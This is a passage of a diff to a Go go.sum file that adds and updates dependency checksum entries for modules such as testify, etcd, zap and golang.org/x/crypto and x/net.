v0.9.0/go.mod h1:RnH7sEhxfdnPm1z+XMgSLjWTEIjyK4z2dw6+4vHTMuo= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/schollz/progressbar/v2 v2.15.0 h1:dVzHQ8fHRmtPjD3K10jT3Qgn/+H+92jhPrhmxIJfDz8= github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= +github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ= github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= @@ -492,20 +1420,26 @@ github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoH github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.5/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.3 h1:RP3t2pwF7cMEbC1dqtB6poj3niw/9gnV4Cjg5oW5gtY= +github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= +github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= github.com/valyala/fasttemplate v1.0.1/go.mod h1:UQGH1tvbgY+Nz5t2n7tXsz52dQxojPUpymEIMZ47gx8= @@ -516,24 +1450,46 @@ github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +github.com/zeebo/assert v1.3.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= +github.com/zeebo/xxh3 v1.0.2/go.mod h1:5NWz9Sef7zIDm2JHfFlcQvNekmcEl9ekUZQQKCYaDcA= github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= +go.etcd.io/etcd/api/v3 v3.5.6/go.mod h1:KFtNaxGDw4Yx/BA4iPPwevUTAuqcsPxzyX8PHydchN8= +go.etcd.io/etcd/client/pkg/v3 v3.5.6/go.mod h1:ggrwbk069qxpKPq8/FKkQ3Xq9y39kbFR4LnKszpRXeQ= +go.etcd.io/etcd/client/v2 v2.305.6/go.mod h1:BHha8XJGe8vCIBfWBpbBLVZ4QjOIlfoouvOwydu63E0= +go.etcd.io/etcd/client/v3 v3.5.6/go.mod h1:f6GRinRMCsFVv9Ht42EyY7nfsVGwrNO0WEoS2pRKzQk= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= +go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= +go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= +go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= +go.opentelemetry.io/proto/otlp v0.15.0/go.mod h1:H7XAot3MsfNsj7EXtrA2q5xSNQ10UqI405h3+duxN4U= +go.opentelemetry.io/proto/otlp v0.19.0/go.mod h1:H7XAot3MsfNsj7EXtrA2q5xSNQ10UqI405h3+duxN4U= go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ= go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= +go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/multierr v1.8.0/go.mod h1:7EAYxJLBy9rStEaz58O2t4Uvip6FSURkq8/ppBp95ak= go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= +go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= +go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw= golang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= @@ -542,6 +1498,7 @@ golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaE golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= @@ -550,20 +1507,44 @@ golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWP golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.13.0 h1:mvySKfSWJ+UKUii46M40LOvyWfN0s2U+46/jDd0e6Ck= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20220314234659-1baeb1ce4c0b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw= +golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= +golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= +golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= +golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc= +golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= +golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20180807140117-3d87b88a115f/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190125153040-c74c464bbbf2/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= +golang.org/x/exp v0.0.0-20191002040644-a1355ae1e2c3/go.mod h1:NOZ3BPKG0ec/BKJQgnvsSFpcKLM5xXVWnvZS97DWHgE= golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= +golang.org/x/exp v0.0.0-20220827204233-334a2380cb91/go.mod h1:cyybsKvd6eL0RnXn6p/Grxp8F5bW7iYuBgsNCOHpMYE= +golang.org/x/image v0.0.0-20180708004352-c73c2afc3b81/go.mod h1:ux5Hcp/YLpHSI86hEcLt0YII63i6oz57MZXIpbrjZUs= golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20190910094157-69e4b8554b2a/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20200119044424-58c23975cae1/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20200430140353-33d19683fad8/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20200618115811-c13761719519/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20210216034530-4410531fe030/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20210607152325-775e3b0c77b9/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= +golang.org/x/image v0.0.0-20210628002857-a66eb6448b8d/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= +golang.org/x/image v0.0.0-20211028202545-6944b10bf410/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= +golang.org/x/image v0.0.0-20220302094943-723b81ca9867/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= @@ -574,6 +1555,8 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= @@ -582,8 +1565,18 @@ golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzB golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.5.0/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= +golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.9.0 h1:KENHtAZL2y3NLMYZeHY9DW8HW8V+kQyJsY/V9JlKvCs= golang.org/x/mod v0.9.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.10.0 h1:lFO9qtOdlre5W1jxS3r/4szv2/6iXxScdzjoBMXNhYk= +golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -601,6 +1594,7 @@ golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLL golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= @@ -616,9 +1610,42 @@ golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81R golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= +golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= +golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= +golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220607020251-c690dde0001d/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220617184016-355a448f1bc9/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220624214902-1bab6f366d9e/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.0.0-20221012135044-0b7e1fb9d458/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= +golang.org/x/net v0.2.0/go.mod 